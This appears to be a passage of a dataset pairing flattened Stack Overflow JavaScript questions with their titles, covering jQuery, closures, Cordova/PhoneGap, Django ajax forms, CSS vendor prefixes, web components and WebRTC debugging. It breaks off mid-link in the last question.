"JS : I have html app that uses onfocus event . It 's working perfectly when switching tabs of browser . Now , when I load that app as an iframe in another html page , it 's not working because the iframe is not focused when switching tabs . How to access onfocus event from iframe without modification of top level code.The iframe and page that loads iframe are not from same origin . if ( ! window.parent.frames.length ) { window.onfocus = function ( ) { // do smth } ; } else { // ? ? ? }",How to access onfocus event from iframe ( cross-origin ) ? "JS : I 've been running my head into a wall trying to figure this out . Take the following HTML body : And the following jQuery code : The $ ( h ) .hide ( ) portion causes jQuery to throw an exception in Safari 4 and Firefox 3.5.Safari : TypeError : Result of expression 'this [ a ] .style ' [ undefined ] is not an object.Firefox : uncaught exception : [ Exception ... `` Could not convert JavaScript argument arg 0 '' nsresult : ... ] When I change the HTML to contain just one of the two headings ( if you remove the < h1 > or < h2 > from the HTML , the script runs successfully . Why is this ? To try for yourself , see http : //jsbin.com/avisi/editEdit : I 'm not actually trying to remove and element from the DOM and re-insert it by copying the HTML . This is just a test case for an error I 'm having in more complex code , and I 'm trying to understand why this error occurs . I agree that , if I wanted to accomplish just what is shown here , I would use something like $ ( ' # project ' ) .remove ( ) .children ( ) .appendTo ( 'body ' ) < body > < div id= '' project '' > < h1 > Hi < /h1 > < h2 > Hello < /h2 > < /div > < /body > $ ( function ( ) { var h = $ ( ' # project ' ) .html ( ) ; $ ( ' # project ' ) .remove ( ) ; $ ( h ) .hide ( ) .appendTo ( 'body ' ) ; alert ( `` Created HTML , hide , and appended ! `` ) ; } ) ;",Why does jQuery fail to hide certain HTML ? "JS : I 'm trying to make a snake game in javascript , but I am struggling with collision detection . I 've tried various methods so far , but in desperation , have settled storing all the positions of the segments each frame then checking whether there are any duplicates before animating the next . This method has n't proved successful either unfortunately.Perhaps this is due a misunderstanding of how JS treats arrays . For a while I was using if ( x in y ) but from what I can tell that returns if the exact same object is in an array.Here is the live demo : http : //jsfiddle.net/AScYw/2/Here is the code more easily read : http : //pastebin.com/ygj73me6The code in question is in the snake object , as the function collide . this.collide = function ( ) { for ( var z=0 ; z < this.positions.length-1 ; z++ ) { for ( var q=z+1 ; q < this.positions.length-1 ; q++ ) { return this.positions [ z ] [ 0 ] == this.positions [ q ] [ 0 ] & & this.positions [ z ] [ 1 ] == this.positions [ q ] [ 1 ] ; } }",Javascript Collision Detection "JS : I 've read several questions / articles about this subject and I tested in my solution that the same block of code using for is most of the times faster than each.However my question is related to the fact than in my page where I 've around 30 `` loops '' the starting results using each were around 5300ms ( average ) with max value of 5900ms and minimum of 4800ms . And after I 've changed them to for and the end result surprisingly is slower , takes more time as the previous average ( and never got lower than 4800ms and got even higher than 6000ms ) ... .. but when I place console.time ( 'Time ' ) console.timeEnd ( 'Time ' ) in each single `` loop block '' I get the expected result ( FOR is faster ) .How is it possible that the global `` time '' is SLOWER using for than each ? Could please you point me some possible reasons ? P.S.- The full source-code is huge and the important part here is that the only change is : loops each converted to for.Sample used for the For loopSample used for the Each loopUpdate # 1Times are measured using console.time ( 'Time ' ) console.timeEnd ( 'Time ' ) . For global time I just use one `` counter '' . For multiple counters I use different names of course.During all this `` process '' there are no Ajax requests , so the time different is n't connected to this . Update # 2As @ epascarello requested : the `` inner code '' of each loop was never changed and it should not be the reason , even more when we access this objects the same way ( using For or Each ) list [ i ] .SomeProperty , imho the time differences could never be blamed to the inner code ( I think ) .Update # 3 Sometimes I am using Cascading `` loops '' using different variables i , ii , iii.I often `` reuse '' variables inside the same function : var l = list1.length ; ... ; l = list2.length ; The same applies to the for variables i , ii , iii.Update # 4I notice a strange behavior in Chrome : the following pattern uses to repeat several times , going down for a while and then spikes up again.DrawGUI : 6159.000ms UP AGAINDrawGUI : 5990.000ms going downDrawGUI : 5804.000ms going downDrawGUI : 5416.000ms going downDrawGUI : 5315.000ms going downDrawGUI : 5311.000ms going downDrawGUI : 5325.000ms DrawGUI : 5248.000ms going downDrawGUI : 5010.000ms going downDrawGUI : 4886.000ms going downDrawGUI : 5645.000ms *UP AGAIN *DrawGUI : 5247.000ms DrawGUI : 5446.000ms During all this testes I close all the other chrome tabs and unnecessary applications . Trying to minimize unstable CPU availability . var l = list.length ; for ( var i=0 ; i < l ; i++ ) { } $ .each ( list , function ( i , item ) { } ) ;",Javascript For loop VS JQuery Each : strange result "JS : I 'm trying to add custom undo operations to a textarea element by using a MutationObserver object . I 've looked on MDN for how to use this object , and as far as I know I seem to be using it correctly . However , none of the mutations are registering - I want to observe whenever the text in the textarea changes.What might be wrong with this code ? function initObserver ( ) { var editorObserver = new MutationObserver ( function ( mutations ) { console.log ( `` MUTATION '' ) ; mutations.forEach ( function ( mutation ) { console.log ( mutation.type ) ; } ) ; } ) ; var editorObserverConfig = { characterData : true } ; var editor = document.querySelector ( `` # editor '' ) ; editorObserver.observe ( editor , editorObserverConfig ) ; } initObserver ( ) ;",MutationObserver fails to observe textarea "JS : Question : There seem to be many benefits to Closures , but what are the negatives ( memory leakage ? obfuscation problems ? bandwidth increasage ? ) ? Additionally , is my understanding of Closures correct ? Finally , once closures are created , can they be destroyed ? I 've been reading a little bit about Javascript Closures . I hope someone a little more knowledgeable will guide my assertions , correcting me where wrong.Benefits of Closures : Encapsulate the variables to a local scope , by using an internal function . The anonymity of the function is insignificant.What I 've found helpful is to do some basic testing , regarding local/global scope : Interesting things I took out of it : The alerts in outerFunc are only called once , which is when the outerFunc call is assigned to myFunc ( myFunc = outerFunc ( ) ) . This assignment seems to keep the outerFunc open , in what I would like to call a persistent state.Everytime myFunc is called , the return is executed . In this case , the return is the internal function.Something really interesting is the localization that occurs when defining local variables . Notice the difference in the first alert between global_num1 and global_num2 , even before the variable is trying to be created , global_num1 is considered undefined because the 'var ' was used to signify a local variable to that function . -- This has been talked about before , in the order of operation for the Javascript engine , it 's just nice to see this put to work.Globals can still be used , but local variables will override them . Notice before the third myFunc call , a global variable called local_count is created , but it as no effect on the internal function , which has a variable that goes by the same name . Conversely , each function call has the ability to modify global variables , as noticed by global_var3.Post Thoughts : Even though the code is straightforward , it is cluttered by alerts for you guys , so you can plug and play.I know there are other examples of closures , many of which use anonymous functions in combination with looping structures , but I think this is good for a 101-starter course to see the effects.The one thing I 'm concerned with is the negative impact closures will have on memory . Because it keeps the function environment open , it is also keeping those variables stored in memory , which may/may not have performance implications , especially regarding DOM traversals and garbage collection . I 'm also not sure what kind of role this will play in terms of memory leakage and I 'm not sure if the closure can be removed from memory by a simple `` delete myFunc ; . `` Hope this helps someone , vol7ron < script type= '' text/javascript '' > var global_text = `` '' ; var global_count = 0 ; var global_num1 = 10 ; var global_num2 = 20 ; var global_num3 = 30 ; function outerFunc ( ) { var local_count = local_count || 0 ; alert ( `` global_num1 : `` + global_num1 ) ; // global_num1 : undefined var global_num1 = global_num1 || 0 ; alert ( `` global_num1 : `` + global_num1 ) ; // global_num1 : 0 alert ( `` global_num2 : `` + global_num2 ) ; // global_num2 : 20 global_num2 = global_num2 || 0 ; // ( notice ) no definition with 'var ' alert ( `` global_num2 : `` + global_num2 ) ; // global_num2 : 20 global_num2 = 0 ; alert ( `` local_count : `` + local_count ) ; // local_count : 0 function output ( ) { global_num3++ ; alert ( `` local_count : `` + local_count + `` \n '' + `` global_count : `` + global_count + `` \n '' + `` global_text : `` + global_text ) ; local_count++ ; } local_count++ ; global_count++ ; return output ; } var myFunc = outerFunc ( ) ; myFunc ( ) ; /* Outputs : ********************** * local_count : 1 * global_count : 1 * global_text : **********************/ global_text = `` global '' ; myFunc ( ) ; /* Outputs : ********************** * local_count : 2 * global_count : 1 * global_text : global **********************/ var local_count = 100 ; myFunc ( ) ; /* Outputs : ********************** * local_count : 3 * global_count : 1 * global_text : global **********************/ alert ( `` global_num1 : `` + global_num1 ) ; // global_num1 : 10 alert ( `` global_num2 : `` + global_num2 ) ; // global_num2 : 0 alert ( `` global_num3 : `` + global_num3 ) ; // global_num3 : 33 < /script >",Javascript Closures - What are the negatives ? "JS : I 'm trying to build a simple desktop app with NW.js . Inspired by some posts including this one , I wanted to try a pure npm approach without any bower , grunt , or gulp.So I go ahead and use jquery and bootstrap libraries installed as npm modules . When I 'm injecting the modules in my app 's javascript like this : I 'm getting a ReferenceError : document is not defined from bootstrap . I can load bootstrap through the html document in the old-fashioned way though : I 'm asking myself if it 's a stupid idea to load bootstrap trough require in the script file ? Basically , I do n't need it there . It can be loaded via a script tag in html . What are the best practices ? I 'm confused . Update . The solutionHaving taken the advice from @ Kuf , I created a build.js scripttriggered by a prestart hook : which allows me to access bootstrap resources by convenient paths : global.jQuery = $ = require ( `` jquery '' ) ; var bootstrap = require ( `` bootstrap '' ) ; < script type= '' text/javascript '' src= '' node_modules/bootstrap/dist/js/bootstrap.js '' > < /script > var copyfiles = require ( 'copyfiles ' ) ; copyfiles ( [ `` node_modules/bootstrap/dist/js/bootstrap.js '' , `` vendor/js '' ] , true , function ( err ) { if ( err ) return console.error ( err ) ; } ) ; copyfiles ( [ `` node_modules/bootstrap/dist/css/bootstrap.css '' , `` vendor/css '' ] , true , function ( err ) { if ( err ) return console.error ( err ) ; } ) ; `` scripts '' : { `` build '' : `` node build.js '' , `` prestart '' : `` npm run build '' } < link href= '' vendor/css/bootstrap.css '' rel= '' stylesheet '' > < script type= '' text/javascript '' src= '' vendor/js/bootstrap.js '' > < /script >",Loading Bootstrap in NW.js ( node-webkit ) app with pure npm build "JS : I am having issues with flex slider as it stops working if I use ng-repeat . Otherwise its working fine . HTMLI have recreated this issue in a plunker http : //plnkr.co/edit/P2AOwQY0fQSMSXUQbc9t ? p=preview myApp.controller ( 'frontCtrl ' , function ( $ scope ) { var results = { `` id '' :4 , '' title '' : '' sddddddd '' , `` photos '' : [ { `` url '' : '' http : //placekitten.com/g/400/200 '' , '' id '' :1 } , { `` url '' : '' http : //placekitten.com/g/400/200 '' , '' id '' :2 } ] } ; $ scope.images=results.photos } ) ; myApp.directive ( 'flexslider ' , function ( ) { return { link : function ( scope , element , attrs ) { element.flexslider ( { animation : `` slide '' } ) ; } } } ) ; < div class= '' flexslider '' flexslider > < ul class= '' slides '' > /* This wont work*/ < li ng-repeat= '' img in images '' > < img src= '' { { img.url } } '' > < /li > /* This work*/ < li > < img src= '' http : //placekitten.com/g/400/200 '' > < /li > < li > < img src= '' http : //placekitten.com/g/400/200 '' > < /li > < li > < img src= '' http : //placekitten.com/g/400/200 '' > < /li > < /ul > < /div >",Flexslider not working properly when using ng-repeat "JS : I found a similar question which is quite a bit outdated . I wonder if it 's possible without the use of another library . Currently , the forms.ValidationError will trigger the form_invalid which will only return a JSON response with the error and status code.I have an ajax form and wonder if the usual django field validations can occur on the form field upon an ajax form submit . My form triggering the error : The corresponding View 's mixin for ajax : The View : On the browser console , errors will come through as a 400 Bad Request , followed by the responseJSON which has the correct ValidationError message . Edit : Any way to get the field validation to show client-side ? edit : Additional code : Full copy of data received on front-end : The form in the template is rendered using Django 's { { as_p } } : Javascript : class PublicToggleForm ( ModelForm ) : class Meta : model = Profile fields = [ `` public '' , ] def clean_public ( self ) : public_toggle = self.cleaned_data.get ( `` public '' ) if public_toggle is True : raise forms.ValidationError ( `` ERROR '' ) return public_toggle from django.http import JsonResponseclass AjaxFormMixin ( object ) : def form_invalid ( self , form ) : response = super ( AjaxFormMixin , self ) .form_invalid ( form ) if self.request.is_ajax ( ) : return JsonResponse ( form.errors , status=400 ) else : return response def form_valid ( self , form ) : response = super ( AjaxFormMixin , self ) .form_valid ( form ) if self.request.is_ajax ( ) : print ( form.cleaned_data ) print ( `` VALID '' ) data = { 'message ' : `` Successfully submitted form data . '' } return JsonResponse ( data ) else : return response class PublicToggleFormView ( AjaxFormMixin , FormView ) : form_class = PublicToggleForm success_url = '/form-success/ ' { readyState : 4 , getResponseHeader : ƒ , getAllResponseHeaders : ƒ , setRequestHeader : ƒ , overrideMimeType : ƒ , … } abort : ƒ ( a ) always : ƒ ( ) catch : ƒ ( a ) done : ƒ ( ) fail : ƒ ( ) getAllResponseHeaders : ƒ ( ) getResponseHeader : ƒ ( a ) overrideMimeType : ƒ ( a ) pipe : ƒ ( ) progress : ƒ ( ) promise : ƒ ( a ) readyState:4responseJSON : public : [ `` ERROR '' ] __proto__ : ObjectresponseText : '' { `` public '' : [ `` ERROR '' ] } '' setRequestHeader : ƒ ( a , b ) state : ƒ ( ) status:400statusCode : ƒ ( a ) statusText : '' Bad Request '' then : ƒ ( b , d , e ) __proto__ : Object { % if request.user == object.user % } Make your profile public ? < form class= '' ajax-public-toggle-form '' method= '' POST '' action= ' { % url `` profile : detail '' username=object.user % } ' data-url= ' { % url `` profile : public_toggle '' % } ' > { { public_toggle_form.as_p|safe } } < /form > { % endif % } $ ( document ) .ready ( function ( ) { var $ myForm = $ ( '.ajax-public-toggle-form ' ) $ myForm.change ( function ( event ) { var $ formData = $ ( this ) .serialize ( ) var $ endpoint = $ myForm.attr ( 'data-url ' ) || window.location.href // or set your own url $ .ajax ( { method : `` POST '' , url : $ endpoint , data : $ formData , success : handleFormSuccess , error : handleFormError , } ) } ) function handleFormSuccess ( data , textStatus , jqXHR ) { // no need to do anything here console.log ( data ) console.log ( textStatus ) console.log ( jqXHR ) } function handleFormError ( jqXHR , textStatus , errorThrown ) { // on error , reset form . raise valifationerror console.log ( jqXHR ) console.log ( `` ==2 '' + textStatus ) console.log ( `` ==3 '' + errorThrown ) $ myForm [ 0 ] .reset ( ) ; // reset form data } } )",Is there a way to raise normal Django form validation through ajax ? "JS : Word wrap works well on long strings without any special characters . I 'd like to use it on a URL . Rather than filling all the columns in a row , the text goes to the next row on encountering special characters like = , & etc . Is there some other method to solve this ? HTML : JS : JS Fiddle here.PS : Overflow is n't very nice ! < div style= '' word-wrap : break-word ; width:100px ; '' id= '' foo '' > < /div > var div = document.getElementById ( `` foo '' ) ; div.innerHTML = `` https : //www.google.co.in/search ? q=hello+world & ie=utf-8 & oe=utf-8 & gws_rd=cr & ei=aNqUVZ7ZK4KVuATI3IGIDg '' ;",How to word-wrap a URL ? "JS : i have problem when trying to load my javascript function from java with Phonegap for Android . Everytime when i call the i always have this errorI can see that my javascript is actually called . But after about 10 seconds , my app quits because of this error : Can anyone can explain me where is the problem ? Thanks loadUrl ( `` javascript : myJavascriptFunction ( ) '' ) ; I/System.out ( 2822 ) : loadUrl ( javascript : myJavascriptFunction ( ) ) I/System.out ( 2822 ) : url=javascript : myJavascriptFunction ( ) baseUrl=file : ///android_asset/www/D/PhoneGapLog ( 2822 ) : file : ///android_asset/www/phonegap-1.1.0.js : Line 920 : JSCallback Error : Service unavailable . Stopping callbacks . I/System.out ( 2822 ) : onReceivedError : Error code=-6 Description=The connection to the server was unsuccessful . URL=javascript : myJavascriptFunction ( ) E/WindowManager ( 2822 ) : android.view.WindowLeaked : Activity com.phonegap.plugin.billing.CallbackBillingActivity has leaked window com.android.internal.policy.impl.PhoneWindow $ DecorView @ 405d9860 that was originally added hereE/WindowManager ( 2822 ) : at android.view.ViewRoot. < init > ( ViewRoot.java:258 ) E/WindowManager ( 2822 ) : at android.view.WindowManagerImpl.addView ( WindowManagerImpl.java:148 )",Android & Phonegap : error occurs when loading javascript function with loadUrl "JS : < edit > I actually guessed this would happen but just some seconds after posting I got a flag for `` possible duplicate '' which is not appropriate ! This question is about CSS values and NOT about CSS property names and so it 's not a dup of this or this question ! ! ! Its also not a dup of this one because I 'm asking for a generic solution.If you are still not convinced or unsure about what this post is not about , maybe you take a look at the bottom of this question : `` What I 'm NOT Looking For '' and `` Who Is NOT Getting The Job Done '' < /edit > Is there a way to set an appropriate vendor-prefixed CSS value client-side via JavaScript if needed ? What I 'm Looking Forfor example : background : -prefix-linear-gradient { ... } I would love to get a generic solution on how to set vendor-prefixed CSS values client-side via JavaScript . Besides this the question is about how to do this client-side and not as a part of the build process ( eg POSTcss ) .But I also appreciate any hints onJavaScript / jQuery plugins that get the job done oradditional resources that could let me figure it out on my own.As you can see I already gave an answer on my own . But I 'm still looking for better solutions as Autoprefixer comes along with a heavy payload of about 626 KB ! Use Case ScenarioOr imagine something likewhich should be something likeinstead.What I 'm NOT Looking Forfor example : -prefix-transform : translate { ... } The topic how to use vendor prefixes on CSS property names is discussed enough ( and not what I 'm after ) .NOTE : I 'm also totally aware of pre- & post-processors used as part of the build process . My whole CSS workflow is based on `` Grunt : SASS : Autoprefixer '' so no need to give any suggestions on that ! Who Is NOT Getting The Job Done-prefix-free is doing a pretty good job on vendor-prefixed CSS property names but does n't take care of vendor-prefixed CSS values.Unfortunately , this is also the case with jQuery . /*Unprefixed version of `` linear-gradient '' will only work forbrowsers : IE10+ , FF16+ , Chrome26+ , Opera12+ , Safari7+.So how to generate a prefixed version on the fly if necessary ? */var aVal = [ 'linear-gradient ( to bottom , # fefefe 0 % , # aaaaaa 100 % ) ' , 'linear-gradient ( to bottom , # aaaaaa 0 % , # fefefe 100 % ' ] style = document.getElementsByTagName ( 'BODY ' ) [ 0 ] .style , i = 0 ; ( function toggle ( ) { if ( i++ ) { i = 0 ; } style.background = aVal [ i ] ; /* here we need something like : style.background = parseForPrefix ( aVal [ i ] ) ; */ setTimeout ( toggle , 2000 ) } ) ( ) ; * { height : 100 % ; margin : 0 ; padding : 0 ; width : 100 % ; } Unprefixed version of `` linear-gradient '' will only work for < br > browsers : IE10+ , FF16+ , Chrome26+ , Opera12+ , Safari7+. < br > So how to generate a prefixed version on the fly if nessecary ? jQuery ( 'head ' ) .append ( ' < style > body { background : linear-gradient ( ... ) } < /style > ' ) jQuery ( 'head ' ) .append ( ' < style > ' + parseForPrefix ( 'body { background : linear-gradient ( ... ) } ' ) + ' < /style > ' )",How to set vendor prefixed CSS values ( NOT property names ) | client-side "JS : I am using Cordova for ios development . I use an iframe to open an external link in my app . The external page size is large and in order to fit into the screen I am using -webkit-transform scale property . Everything is fine and it fits into the screen . But the problem is that when I select a text input , the input cursor ( caret ) starts blinking somewhere below the text field.Please see the code : index.html : form.html : and JS is : < div data-role= '' page '' id= '' personDetailPage '' > < div data-role= '' header '' class= '' header '' > < div class= '' logo '' id= '' mainScreenLogo '' > < img src= '' '' id= '' headerLogoImg '' / > < /div > < h1 id= '' personDetailTitle '' class= '' tittle '' > Person Detail < /h1 > < a href= '' # main '' class= '' ui-btn-right headerHomeIcon '' data-transition= '' slide '' onclick= '' formHomeButtonClick ( ) ; '' > < img src= '' homeIcon.png '' class= '' headerHomeImg '' / > < /a > < /div > < div id= '' iFrameDiv '' scrolling= '' no '' > < iframe id= '' formframe '' width= '' 280 '' height= '' 150 '' src= '' form.html '' onLoad='fixiFrame ( ) ; ' frameborder= '' 0 '' > < /iframe > < /div > < /div > < div data-role= '' page '' id= '' personRegistration '' scrolling= '' no '' > < br > Please Enter the Person Details < form id= '' registrationForm '' method= '' POST '' action= '' https : //abe.com/Registration.aspx '' onsubmit= '' return checkform ( ) ; '' > < div data-role= '' fieldcontain '' class= '' ui-hide-label '' > < input type= '' text '' name= '' name '' id= '' name '' value= '' '' placeholder= '' Name '' / > < /div > < div data-role= '' fieldcontain '' class= '' ui-hide-label '' > < input type= '' text '' name= '' email '' id= '' email '' value= '' '' placeholder= '' Email '' / > < /div > < a href= '' '' id= '' my-custom-button-registration '' data-role= '' button '' data-transition= '' fade '' onclick= '' return checkform ( ) ; '' > Continue < /a > < /form > < /div > function fixiFrame ( ) { // set the size of IFrame to the device screen fit $ ( `` # formframe '' ) .width ( viewport.width ) ; $ ( `` # formframe '' ) .height ( viewport.height -35- deviceVarient ) ; } function resizeIframe ( ) { //zoom the person registration Iframe upto screen fit it will be called when device ready var xaix = viewport.width /widthFactor ; // widthFactor is the actual page sixe of external page i.e ; abc.com/Registration.aspx var yaix = ( viewport.height-35- $ ( `` .logo '' ) .height ( ) ) /heightFactor ; $ ( ' # formframe ' ) .css ( '-webkit-transform ' , 'scale ( '+xaix+ ' , '+yaix+ ' ) ' ) ; $ ( ' # formframe ' ) .css ( '-webkit-transform-origin ' , ' 0 0 ' ) ; //alert ( 'resizeIframe ( ) : xaix = '+xaix+ ' yaix = '+yaix+ ' $ ( .logo ) .height ( ) = '+ $ ( `` .logo '' ) .height ( ) ) ; //for testing & debugging }",Zooming in Iframe effecting the wrong cursor position in cordova iOS application "JS : I have a Rails 5.1 application where I 'm creating a patient record using Ajax inside of a form using coffeescript/JS . This works fine no problem using the following code : _form.html.erbapplication.jspatients.coffeeIn the patient modal I 'm using bootstrap-datepicker to choose a date of birth , then I wrote some coffeescript to calculate the age and populate it automatically as seen in this code below in patients.coffeeWhen I go to add a patient and the modal fires/shows up I can fill in the fields such as name , etc but when I choose the date of birth using the datepicker and let the coffeescript calculate the age it will show up in the fields until I dismiss the bootstrap-datepicker , then it will clear the entire modal form including the first and last name.I see no errors in the console when I inspect and I do see the coffeescript executing properly.I 'm honestly not sure what the problem is with this as I 'm not as well-versed in Javascript/coffeescript as I am in Ruby . I was wondering if there 's something I 'm doing wrong that 's causing the input fields to clear either somewhere in my callback or in the calculation itself.Any help would be greatly appreciated . I 've googled and searched stack and found a few articles about executing JS inside of a modal and have yet to have success with this small piece of functionality.Update I disabled the bootstrap-datepicker and just manually typed in the date of birth field and the coffeescript calculated without clearing out the entire form . So it looks to be like some issue with the bootstrap-datepicker . But I 'm not sure where the problem lies . < div class= '' modal fade patient-modal '' tabindex= '' -1 '' role= '' dialog '' aria-labelledby= '' mySmallModalLabel '' > < div class= '' modal-dialog modal-sm '' role= '' document '' > < div class= '' modal-content '' > < div class= '' modal-header '' > < button type= '' button '' class= '' close '' data-dismiss= '' modal '' aria-label= '' Close '' > < span aria-hidden= '' true '' > × < /span > < /button > < h4 class= '' modal-title '' id= '' mySmallModalLabel '' > Add Patient < /h4 > < /div > < div class= '' modal-body '' > < % = form_for Patient.new do |f| % > < div class= '' form-group '' > < % = f.label : first_name % > < % = f.text_field : first_name , class : `` form-control '' % > < % = f.label : last_name % > < % = f.text_field : last_name , class : `` form-control '' % > < % = f.label : date_of_birth % > < % = f.text_field : date_of_birth , class : `` form-control '' , id : 'patient_dob_modal ' , placeholder : 'yyyy-mm-dd ' % > < % = f.label : age % > < % = f.text_field : age , class : `` form-control '' , id : 'patient_age_modal ' % > < % = f.label : sex % > < % = f.text_field : sex % > < /div > < div class= '' form-group '' > < % = f.submit class : `` btn btn-sm btn-primary '' % > < /div > < % end % > < /div > < /div > < /div > < /div > $ ( document ) .on ( 'turbolinks : load ' , function ( ) { $ ( ' # patient_date_of_birth_modal ' ) .datepicker ( { format : 'yyyy-mm-dd ' , zIndexOffset : 100000 , forceParse : false } ) ; } ) ; $ ( document ) .on 'turbolinks : load ' , - > selectizeCallback = null $ ( '.patient-modal ' ) .on 'hide.bs.modal ' , ( e ) - > if selectizeCallback ! = null selectizeCallback ( ) selectizeCallback = null $ ( ' # new_patient ' ) .trigger 'reset ' $ .rails.enableFormElements $ ( ' # new_patient ' ) return $ ( ' # new_patient ' ) .on 'submit ' , ( e ) - > e.preventDefault ( ) $ .ajax method : 'POST ' url : $ ( this ) .attr ( 'action ' ) data : $ ( this ) .serialize ( ) success : ( response ) - > selectizeCallback value : response.id text : response.first_name selectizeCallback = null $ ( '.patient-modal ' ) .modal 'toggle ' return return $ ( '.patient ' ) .selectize create : ( input , callback ) - > selectizeCallback = callback $ ( '.patient-modal ' ) .modal ( ) $ ( ' # patient_first_name ' ) .val input return return $ ( document ) .on 'turbolinks : load ' , - > getAge = ( dateString ) - > today = new Date birthDate = new Date ( dateString ) age = today.getFullYear ( ) - birthDate.getFullYear ( ) m = today.getMonth ( ) - birthDate.getMonth ( ) if m < 0 or m == 0 and today.getDate ( ) < birthDate.getDate ( ) age -- age $ ( ' # patient_dob_modal ' ) .on 'change ' , - > date = $ ( this ) .val ( ) age = getAge ( date ) $ ( ' # patient_age_modal ' ) .val age return return",Rails Executing Javascript in Bootstrap 4 modal "JS : Is there a way to add a css : hover effect on webcompoenents ( not from the parent ) .I have following example codeThe : host : :selection property works as expected . But the : host : hover does not seem to have any effect.I know there are workarounds to this problem like : wrapping everything inside a divapplying the : hover effect at the parent stylesheetBut I wanted to know if I am just missing something ( since this does not seem too complex ) for the sake of cleaner code . window.customElements.define ( ' a-b ' , class extends HTMLElement { constructor ( ) { super ( ) ; this.attachShadow ( { mode : 'open ' } ) .innerHTML = ` < style > : host { display : block ; height : 100px ; width : 100px ; background : red ; } : host : hover { background : blue ; } : host : :selection { background : rgba ( 0 , 0 , 0 , 0.15 ) ; } < /style > < slot > < /slot > ` ; } }",Webcomponents : host : hover "JS : In jQuery , we can easily get the CSS value for a given element with the css method : Now , since this CSS value might have been inherited from a parent element , is there any way to know which element has this rule applied to it ? For example , let 's say I have the following HTML : and the following CSS : Calling the css method on # myElement will return 20px , but it will not indicate that it was inherited from .parent.I know I can just fire up Web Inspector/Dev Tools/Firebug , but I want to get it programmatically.Is this at all possible ? $ ( ' # myElement ' ) .css ( 'line-height ' ) ; // e.g . '16px ' < div class= '' parent '' > < div id= '' myElement '' > < /div > < /div > .parent { line-height : 20px ; }",Get element from which CSS rule is being inherited "JS : I want to check if the text a user enters is valid JSON . I know I can easily do that using something like this : My problem is with JSON that comes from Mongo , which is wrapped in ObjectId , ISODate , i.e . : This is not valid JSON . How could I go about validating JSON while allowing something like the above ? function IsJsonString ( str ) { try { JSON.parse ( str ) ; } catch ( e ) { return false ; } return true ; } { `` _id '' : ObjectId ( `` 5733b42c66beadec3cbcb9a4 '' ) , `` date '' : ISODate ( `` 2016-05-11T22:37:32.341Z '' ) , `` name '' : `` KJ '' }",Validate JSON from Mongo ? JS : How to make scrolling collapsing navigation navbar-fixed-top bootstrap4 ? < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' > < title > Document < /title > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.1.0/jquery.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/tether/1.2.0/js/tether.min.js '' > < /script > < link rel= '' stylesheet '' href= '' https : //cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.0.0-alpha.3/css/bootstrap.min.css '' > < script src= '' https : //maxcdn.bootstrapcdn.com/bootstrap/4.0.0-alpha.3/js/bootstrap.min.js '' > < /script > < /head > < body > < div class= '' container-fluid '' > < nav class= '' navbar navbar-fixed-top navbar-light bg-faded '' > < div class= '' container '' > < a class= '' navbar-brand '' href= '' # '' > Fixed top < /a > < button class= '' navbar-toggler '' type= '' button '' data-toggle= '' collapse '' data-target= '' # exCollapsingNavbar '' aria-controls= '' exCollapsingNavbar '' aria-expanded= '' false '' aria-label= '' Toggle navigation '' > & # 9776 ; < /button > < div class= '' collapse '' id= '' exCollapsingNavbar '' > < div class= '' p-a-1 '' > < ul class= '' nav navbar-nav nav-pills nav-stacked '' > < li class= '' nav-item '' > < a class= '' nav-link active '' href= '' # '' > Active < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link '' href= '' # '' > Link < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link '' href= '' # '' > Link < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < li class= '' nav-item '' > < a class= '' nav-link disabled '' href= '' # '' > Disabled < /a > < /li > < /ul > < /div > < /div > < /div > < /nav > < /div > < /body > < /html >,How to make scrolling collapsing navigation navbar-fixed-top ? "JS : I 've been having trouble establishing a WebRTC session and am trying to simplify the issue as much as possible . So I 've written up a simple copy & paste example , where you just paste the offer/answer into webforms and click submit . The HTML+JS , all in one file , can be found here : http : //pastebin.com/Ktmb3mVfI 'm on a local network , and am therefore removing the ICE server initialisation process to make this example as bare-bones as possible.Here are the steps I 'm carrying out in the example : Page 1Page 1 ( loads page ) , enters a channel name ( e.g . test ) and clicks create.A new Host object is created , new PeerConnection ( ) and createDataChannel are called.createOffer is called , and the resulting offerSDP is pasted into the offer textarea.Page 2Copy offerSDP from Page 1 and paste into offer textarea on Page 2 , click join.New Guest object is created , PeerConnection and an ondatachannel handler is set.setRemoteDescription is called for the Guest object , with the offerSDP data.createAnswer is called and the result is pasted into the answer textarea box.Page 1The answerSDP is copied from Page 2 and pasted into the answer textarea of Page 1 , submit answer is clicked.Host.setRemoteDescription is called with the answerSDP data . This creates a SessionDescription , then peer.setRemoteDescription is called with the resulting data.Those are the steps carried out in the example , but it seems I 'm missing something critical . After the offerer 's remoteDescription is set with the answerSDP , I try to send a test message on the dataChannel : Chrome 40Firefox 35I also had a more complicated demo operating , with a WebSocket signalling server , and ICE candidates listed , but was getting the same error . So I hope this simplification can help to track down the issue.Again , the single-file code link : http : 